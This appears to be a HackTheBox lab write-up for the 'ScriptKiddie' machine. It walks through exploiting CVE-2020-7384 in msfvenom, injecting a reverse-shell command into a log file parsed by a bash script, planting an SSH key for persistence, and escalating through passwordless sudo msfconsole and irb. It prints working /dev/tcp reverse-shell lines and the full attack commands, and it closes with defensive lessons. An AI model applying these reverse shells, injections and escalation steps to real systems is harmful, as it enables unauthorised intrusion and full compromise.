HTB: ScriptKiddie Writeup
ScriptKiddie - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | ScriptKiddie |
| OS | Linux |
| Difficulty | Easy |
| Points | 314 |
| Release Date | 28th May 2021 |
| IP Address | N/A |
| Author | 0xdf |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
ScriptKiddie is an easy Linux machine featuring a vulnerable Metasploit installation exposed through a web interface. The machine showcases multiple attack vectors: a Metasploit Framework msfvenom APK template command injection vulnerability (CVE-2020-7384) for initial foothold, OS command injection through unsanitized log file parsing for lateral movement, and an insecure passwordless sudo configuration for privilege escalation. The vulnerability chain demonstrates the importance of input validation, secure configuration management, and keeping frameworks updated.
TL;DR: Exploit CVE-2020-7384 in msfvenom → Command injection in log file parsing → Passwordless sudo msfconsole → Root shell via irb.
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.10.226nmap -p22,5000 -sV -sC 10.10.10.226Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH (default) |
| 5000 | HTTP | Werkzeug httpd server |
Service Enumeration
Port 5000 (HTTP):
The web application is titled “k1d’5 h4ck3r t00l5” and presents three primary functionalities:
- Nmap Interface - Allows execution of nmap port scans (top 100 ports) on specified IP addresses
- Searchsploit Interface - Searches for exploits using searchsploit and presents results
- Payloads Interface - Generates payloads using msfvenom with selectable OS (Windows, Linux, Android), LHOST configuration, and optional template file upload
Testing the nmap and sploits interfaces reveals no immediate vulnerabilities or sensitive information disclosure.
Vulnerability Assessment
Identified Vulnerabilities:
-
CVE-2020-7384 - Metasploit Framework msfvenom APK template command injection (version <= 6.0.11)
- The payload generator accepts APK template files for Android payloads
- The template file is passed unsanitized to msfvenom, allowing command injection
- Severity: Critical - Direct code execution during payload generation
-
OS Command Injection - The scanlosers.sh script in /home/pwn parses log files without input validation
- Log entries are written when non-alphanumeric characters are submitted to the searchsploit interface
- The bash script uses the log data in shell commands without proper escaping
- Severity: High - Allows lateral movement between users
-
Insecure Sudo Configuration - The pwn user can execute msfconsole as root without password
- msfconsole provides interactive Ruby shell (irb) access
- From irb, arbitrary system commands can be executed
- Severity: Critical - Direct privilege escalation to root
Initial Foothold
Exploitation Path
Step 1: Generate Malicious APK Template
We exploit CVE-2020-7384 using Metasploit’s built-in exploit module:
msfconsolemsf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injectionmsf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_netcatmsf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST tun0msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 7777msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > runThis generates a malicious msf.apk file containing command injection payload that will execute our reverse shell command when msfvenom processes it.
Step 2: Set Up Listener
nc -lnvp 7777Step 3: Upload Malicious APK and Trigger Exploitation
- Navigate to the Payloads section of the web application
- Select Android as the operating system
- Enter 127.0.0.1 as the LHOST
- Upload the generated
msf.apkfile as the template - Click Generate
The web application passes the APK template to msfvenom, which executes our injected command:
# Reverse shell payload is executed in the context of the 'kid' userbash -i >& /dev/tcp/10.10.14.30/7777 0>&1Step 4: Receive Shell
A reverse shell connection is established on our netcat listener:
listening on [any] 7777 ...connect to [10.10.14.30] from (UNKNOWN) [10.10.10.226] 42196bash: cannot set terminal process group (-1): Inappropriate ioctl for devicebash: no job control in this shellkid@scriptkiddie:~/html$Step 5: Establish Persistent Access
Generate SSH keypair on attacker machine:
ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsacat ~/.ssh/id_rsa.pubAdd public key to authorized_keys on target:
echo "ssh-rsa AAAA... attacker@machine" >> ~/.ssh/authorized_keysConnect via SSH for persistent access:
ssh kid@10.10.10.226Step 6: Capture User Flag
cat /home/kid/user.txtPrivilege Escalation
Lateral Movement to pwn User
Step 1: Identify Exploitation Vector
Enumerate readable files in the pwn home directory:
find /home/pwn -type f -readable -ls 2>/dev/nullDiscover the world-readable scanlosers.sh script at /home/pwn/scanlosers.sh:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fiCritical Vulnerability: The script uses a single space as field delimiter (-d' ') and passes all fields from the 3rd onward (-f3-) directly to the shell without any input validation. This allows arbitrary command injection through the log file.
Step 2: Understand Log File Population Mechanism
Examine the web application source code at /home/kid/html/app.py:
def searchsploit(text, srcip): if regex_alphanum.match(text): result = subprocess.check_output(['searchsploit', '--color', text]) return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore')) else: # Non-alphanumeric input triggers logging with open('/home/kid/logs/hackers', 'a') as f: f.write(f'[{datetime.datetime.now()}] {srcip}\n') return render_template('index.html', sserror="stop hacking me - well hack you back")When non-alphanumeric characters are submitted to the searchsploit interface, the source IP is logged to /home/kid/logs/hackers. The scanlosers.sh script monitors this file and processes entries immediately.
Step 3: Craft and Inject Payload
Set up listener on attacker machine:
nc -lnvp 7777Inject command into the hackers log file:
echo 'a b $(bash -c "bash -i >& /dev/tcp/10.10.14.30/7777 0>&1")' > /home/kid/logs/hackersThe log entry format a b $(command) breaks down as:
a- Field 1 (timestamp placeholder)b- Field 2 (IP placeholder)$(command)- Fields 3+ (executed by nmap, which expands the subshell)
When scanlosers.sh processes this line with cut -d' ' -f3-, it extracts $(bash -c "bash -i >& /dev/tcp/10.10.14.30/7777 0>&1") and passes it to sh -c, causing execution of our reverse shell.
Step 4: Receive Shell as pwn User
The reverse shell is immediately executed in the context of the pwn user:
listening on [any] 7777 ...connect to [10.10.14.30] from (UNKNOWN) [10.10.10.226] 42210bash: cannot set terminal process group (-1): Inappropriate ioctl for deviceStep 5: Upgrade to Interactive Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'Privilege Escalation to Root
Step 1: Check Sudo Permissions
sudo -lOutput:
User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /usr/bin/msfconsoleThe pwn user can execute msfconsole as root without supplying a password—a critical misconfiguration.
Step 2: Launch msfconsole as Root
sudo msfconsoleStep 3: Drop into Interactive Ruby Shell
Within msfconsole:
msf6 > irb[*] Starting IRB shell...[*] The 'show' command and many methods are unavailable in IRBirb(main):001:0>Step 4: Execute System Commands from Ruby
From the irb shell, execute a bash shell with root privileges:
>> system("/bin/bash")This spawns a bash shell with root user context:
root@scriptkiddie:/home/pwn#Step 5: Capture Root Flag
cat /root/root.txtAttack Chain Summary
CVE-2020-7384 APK Template Injection ↓ Remote Code Execution as kid ↓OS Command Injection via Log File Parsing ↓Lateral Movement to pwn User ↓Passwordless sudo msfconsole ↓IRB Interactive Shell from msfconsole ↓system() Command Execution as Root ↓Root Shell / Complete System CompromiseTools Used
| Tool | Purpose |
|---|---|
nmap | Initial port and service discovery |
msfconsole | CVE-2020-7384 exploit module generation and root escalation |
netcat | Reverse shell listener setup |
ssh | Persistent access and subsequent connections |
python3 | TTY upgrade for interactive shell |
Key Learnings
Techniques Practiced
- Template Injection Vulnerabilities - Understanding how user-supplied files passed to external tools can execute arbitrary code
- OS Command Injection - Exploiting unsanitized input in shell command construction, particularly with field delimiters
- Log File Manipulation - Weaponizing application logging mechanisms as attack vectors
- Metasploit Framework Exploitation - Using msfconsole both as an exploitation platform and as a privilege escalation vector
- Interactive Shell Upgrades - Converting non-interactive shells to fully functional TTY sessions
- Sudo Misconfiguration - Identifying and exploiting passwordless sudo entries with dangerous functionality
Lessons Learned
-
Input Validation is Critical - All user-supplied data, especially file uploads and web form inputs, must be validated and sanitized before use in system commands or external tool invocations.
-
Framework Security Matters - Keeping Metasploit Framework and other penetration testing tools updated is essential. CVE-2020-7384 is a known vulnerability that affects older versions.
-
Log File Security - Application logs should never contain unsanitized user input that will later be processed in shell commands. Either sanitize the input or use safer data structures than string parsing.
-
Principle of Least Privilege - Sudo configurations granting interactive shell access (like msfconsole or bash) should always require password authentication, regardless of the command.
-
Field Delimiter Dangers - Using single-character delimiters like space in bash scripts is problematic when data can contain those characters. Consider using more robust parsing methods.
-
Defense in Depth - This machine requires multiple vulnerability chains to achieve root. Fixing any single issue (updating Metasploit, validating log input, requiring sudo password) would have prevented complete compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>